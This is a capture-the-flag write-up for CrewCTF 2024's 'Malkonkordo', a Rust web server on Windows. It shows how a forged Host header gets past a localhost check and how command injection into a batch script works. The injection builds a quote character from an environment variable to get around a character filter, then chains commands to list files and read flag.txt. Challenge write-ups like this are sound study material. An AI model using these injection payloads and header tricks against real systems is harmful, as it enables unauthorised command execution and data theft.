Contents

CrewCTF 2024

Contents

CrewCTF 2024 writeups

Malkonkordo

Rust webserver, it shows the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#[tokio::main]
async fn main() -> Result<(), std::io::Error> {
    #[cfg(debug_assertions)]
    if std::env::var_os("RUST_LOG").is_none() {
        std::env::set_var("RUST_LOG", "poem=debug");
    }
    std::env::set_var("RUST_BACKTRACE", "1");
    tracing_subscriber::fmt::init();

    let app = Route::new()
        .at("/", StaticFileEndpoint::new("./static/index.html"))
        .nest("/assets", StaticFilesEndpoint::new("./static/assets/"))
        .at("/preview", post(route_preview).with(SizeLimit::new(4000)))
        .nest(
            "/ai", // Look boss! We have AI in our product! ("Admin Interface") -V // You get a pass this time, but if you mention AI again, I will f****** piledrive you. -T
            Route::new()
                .at("/", StaticFileEndpoint::new("./static/admin.html"))
                .nest("/run", get(route_admin_run)) // TODO: change to post. -V // https://thedailywtf.com/articles/The_Spider_of_Doom -T
                .around(middleware_localhost),
        )
        .around(middleware_csp)
        .catch_error(|_: poem::error::NotFoundError| async move {
            Response::builder()
                // .status(StatusCode::NOT_FOUND)
                // .body("nothing here") // There must be something prettier we can return, right? Something like... a 302 redirect... -T
                .status(StatusCode::FOUND)
                .header("Location", "https://www.youtube.com/watch?v=dQw4w9WgXcQ") // Done! -V // Dammit Victor, I meant a redirect to the index page. -T
                .body("")
        });
    Server::new(TcpListener::bind("0.0.0.0:8000")).run(app).await
}

The /ai/run endpoint looks promising.

I can’t directly send a request to this endpoint, since it looks if the host header starts with 127.0.0.1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> {
    // No authentication? -T // "I [too] like to live dangerously." -V
    if let Some(host) = req.uri().host().or(req.header("host")) {
        if !host.trim_start().starts_with("127.0.0.1") {
            return Err(Error::from_status(StatusCode::UNAUTHORIZED));
        }
    } else {
        return Err(Error::from_status(StatusCode::UNAUTHORIZED));
    }

    let resp = next.call(req).await?.into_response();
    Ok(resp)
}

This can easily be changed via Burp.

If we have that host header, our request is passed to route_admin_run.
This function takes two arguments, cmd and arg. It is important that it adds our arg to a string.

1
2
3
4
5
#[handler]
pub fn route_admin_run(Query(run): Query<RunQuery>) -> String {
    let RunQuery { cmd, arg } = run;
    admin::run_cmd(cmd, arg.unwrap_or("".to_string()))
}

The admin::run_cmd that is called contains the following code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
pub fn run_cmd(cmd: String, arg: String) -> String {
    let cmd = cmd.trim();
    if cmd.is_empty() {
        return "".to_string();
    }
    let res = handle_cmd(&cmd, &arg);
    match res {
        Ok(s) => s,
        Err(msg) => format!("{}", msg),
    }
}

which calls the handle_cmd function with our arguments cmd and arg.
The handle_cmd function contains multiple ’endpoints’ we can send a request to.
This match statement is for the cmd that we pass in.
If cmd has the value ping it returns pong.
If cmd has the value env it returns all the environment variables.
If cmd has the value roll it returns random number 1 to 6?.
If cmd has the value ipconfig it returns the adaper with the IP address.
If cmd has the value ping2, our arg is passed to the script ping.bat. Before it passes our arg to the bat script, it checks if arg contains forbidden characters.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
fn handle_cmd(cmd: &str, arg: &str) -> Result<String, String> {
    eprintln!("cmd: {};  arg: {}", cmd.escape_default(), arg);
    match cmd {
        "ping" => Ok("pong".to_string()),
        "time" => { 
            let datetime: DateTime<Utc> = SystemTime::now().into();
            Ok(format!("{}", datetime.format("%T:%m-%Y-%d"))) // Stick to ISO time. -T
        }
        "env" => {
            if arg.trim().is_empty() {
                Ok(env::vars().map(|(k, v)| format!("{k}: {v}")).join("\n"))
            } else {
                if let Ok(val) = env::var(arg) {
                    Ok(format!("{arg}: {val}"))
                } else {
                    Ok(format!("Error: no env var named '{arg}'."))
                }
            }
        }
        "roll" => {
            if arg.is_empty() {
                Ok(roll(1, 6))
            } else if arg.len() == 3 {
                let s = arg.split_once('d');
                if s == None {
                    return Err("expected format '1d6'".to_string());
                }

                let t = s.unwrap();
                let (n, fs) = (t.0.parse().unwrap(), t.1.parse().unwrap());
                if n == 0 {
                    return Err("expected at least one die".to_string());
                }
                Ok(roll(n, fs))
            } else {
                return Err("unknown dice size".to_string());
            }
        }
        "ipconfig" => {
            get_ipconfig()
        }
        "ping2" => {
            if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
                return Err("bad chars found".to_string());
            }
            let routput = Command::new(".\\scripts\\ping.bat")
                .arg(arg)
                .output();

            if let Err(_e) = routput {
                return Err("failed to run ping2 output".to_string());
            }

            Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string())
        }
        _ => panic!("unknown cmd: {}", cmd),
    }
}

Content of ping.bat. Our arg value is inserted in the %server% variable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
@echo off
mode con: cols=55 lines=12
title Network Checker

REM Server to be pinged
SET server=%1
REM Size of packet to be send to server (bytes)
SET packetSize=1
REM Network info
SET netSSID=[SSID]
SET netName=[Network Name]
SET netInterface=[Network Interface]
REM Pause time between each network check (seconds)
SET successfulTimeout=1
REM Pause time after reconnection before next check (seconds)
SET failedTimeout=1
REM Write failed network connections to log (Boolean)
SET writeToLog=0

REM Do not change
SET lastFail=never
SET successfulRepetitions=0
SET iter=0

REM Check internet connection
:check
cls
ECHO Successful repetitions: %successfulRepetitions%
ECHO Last fail: %lastFail%
ECHO.

IF %iter%==4 (
    GOTO bye
)
SET /a iter+=1

ECHO Pinging %server%...
PING -n 1 -l %packetSize% %server% >NUL

IF %errorlevel% EQU 0 GOTO successful
GOTO failed

REM Internet connection succeeded
:successful
color 0A
SET /a successfulRepetitions+=1
ECHO Ping successful!
TIMEOUT %successfulTimeout%
GOTO check

REM Internet connection failed
:failed
color 0C
SET lastFail=%time:~-11,2%:%time:~-8,2%:%time:~-5,2% - %date%
ECHO Ping failed!
ECHO Disconnecting network interface...
@REM netsh wlan disconnect interface="%netInterface%"
TIMEOUT 4 >NUL
ECHO Reconnecting network interface...
@REM netsh wlan connect ssid="%netSSID%" Name="%netName%" Interface="%netInterface%"
IF %writeToLog%==1 (
	ECHO Ping to %server% failed at %lastFail% >> NetworkLog.txt
	ECHO Previous successful repetitions: %successfulRepetitions% >> NetworkLog.txt
	ECHO ==================== >> NetworkLog.txt
)
SET successfulRepetitions=0
TIMEOUT %failedTimeout%
GOTO check

REM Finish
:bye
ECHO Network checking finished!

Okay, so how can we get the flag?
First, a test request to ping, which should return pong with the Host header changed to 127.0.0.1. This works as expected.
https://i.imgur.com/jUucEnO.png

A request to env returns the following enviroment variables that are set:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
ALLUSERSPROFILE: C:\ProgramData
APPDATA: C:\Users\ctf\AppData\Roaming
CARGO: \\?\C:\Users\ctf\.rustup\toolchains\1.76-x86_64-pc-windows-msvc\bin\cargo.exe
CARGO_HOME: C:\Users\ctf\.cargo
CARGO_MANIFEST_DIR: C:\Users\ctf\Documents\malkonkordo\chall
CARGO_PKG_AUTHORS: TrebledJ
CARGO_PKG_DESCRIPTION: An awesome, minimal, down-to-earth markdown previewer rendered in the style of Discord... well, close enough. Why would you need such a tool? Good question! Have you ever thought to yourself: Hmm, I'd like to preview a message without switching to personal DMs or chucking the message in a random channel. Now ALL your problems are assuaged by this amicable site! "In a serener Bright, \ In a more golden light \ I see \ Each little doubt and fear, \ Each little discord here \ Removed." - Emily Dickinson
CARGO_PKG_HOMEPAGE:  
CARGO_PKG_LICENSE:  
CARGO_PKG_LICENSE_FILE:  
CARGO_PKG_NAME: malkonkordo
CARGO_PKG_README:  
CARGO_PKG_REPOSITORY:  
CARGO_PKG_RUST_VERSION:  
CARGO_PKG_VERSION: 1.0.0
CARGO_PKG_VERSION_MAJOR: 1
CARGO_PKG_VERSION_MINOR: 0
CARGO_PKG_VERSION_PATCH: 0
CARGO_PKG_VERSION_PRE:  
CommonProgramFiles: C:\Program Files\Common Files
CommonProgramFiles(x86): C:\Program Files (x86)\Common Files
CommonProgramW6432: C:\Program Files\Common Files
COMPUTERNAME: ACCE4AA638AA
ComSpec: C:\Windows\system32\cmd.exe
DriverData: C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA: C:\Users\ctf\AppData\Local
NUMBER_OF_PROCESSORS: 4
OS: Windows_NT
Path: C:\Windows\system32;C:\Windows;C:\Users\ctf\AppData\Local\Microsoft\WindowsApps
PATHEXT: .COM;.EXE;.BAT;.CMD
PROCESSOR_ARCHITECTURE: AMD64
PROCESSOR_IDENTIFIER: Intel64 Family 6 Model 85 Stepping 7, GenuineIntel
PROCESSOR_LEVEL: 6
PROCESSOR_REVISION: 5507
ProgramData: C:\ProgramData
ProgramFiles: C:\Program Files
ProgramFiles(x86): C:\Program Files (x86)
ProgramW6432: C:\Program Files
PUBLIC: C:\Users\Public
RUST_BACKTRACE: 1
SystemDrive: C:
SystemRoot: C:\Windows
TEMP: C:\Users\ctf\AppData\Local\Temp
TMP: C:\Users\ctf\AppData\Local\Temp
USERDOMAIN: ACCE4AA638AA
USERNAME: ctf
USERPROFILE: C:\Users\ctf
windir: C:\Windows

A request to ping2 with arg set to 127.0.0.1 (which executes the ping.bat script), returns the following:
https://i.imgur.com/JeTEj40.png

In order to get command injection, we need to escape the string somehow, since the line below executes the PING command with our input (line 38 of the ping.bat script).

1
PING -n 1 -l %packetSize% %server% >NUL

In order to escape it we need a " character, however these are forbidden.
What we can use, is the enviroment variables that we have access to.

Lucky us, since the enviroment variable CARGO_PKG_DESCRIPTION contains a quote chracter ". We can use this to escape the string we are in.

1
CARGO_PKG_DESCRIPTION: An awesome, minimal, down-to-earth markdown previewer rendered in the style of Discord... well, close enough. Why would you need such a tool? Good question! Have you ever thought to yourself: Hmm, I'd like to preview a message without switching to personal DMs or chucking the message in a random channel. Now ALL your problems are assuaged by this amicable site! "In a serener Bright, \ In a more golden light \ I see \ Each little doubt and fear, \ Each little discord here \ Removed." - Emily Dickinson

In batch scripts, we can use %my_var% to reference a variable, or enviroment variable. But we only want one ", not both that are in the environment variable. To get a part of a substring of the variable, the following can be used:
``%my_var:~,<amount_to_display>%so for example:%my_var:~10,1This prints1character from index10of themy_varvariable. With this it is easy to calculate the offset we need to get the first", namely: %CARGO_PKG_DESCRIPTION:~364,1%`

So if we use the following value for arg, we escape the string we are in.

1
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1%

To test if it works, we can add another command, like ECHO afterwards.

1
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1% & ECHO TESTTESTTESTTEST

And it succesfully prints the TESTTESTTESTTEST. Note that the agr value is fully URL encoded.

https://i.imgur.com/nsPCuBg.png

Now to see where the flag is, the following can be used:

1
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1% & ECHO TESTTESTTESTTEST & dir /p

https://i.imgur.com/v9i8sP7.png

Then, all that is left is to print the flag (the command below can of course be shortened).

1
127.0.0.1%CARGO_PKG_DESCRIPTION:~364,1% & ECHO TESTTESTTESTTEST & dir /p & type flag.txt

And the flag is succesfully returned!
https://i.imgur.com/C4u1pVW.png

Flag: crew{Rozoj_estas_rugaj._Violoj_estas_bluaj._Parsirado_estas_malmola._Kiel_Vindozo_kaj_poo.}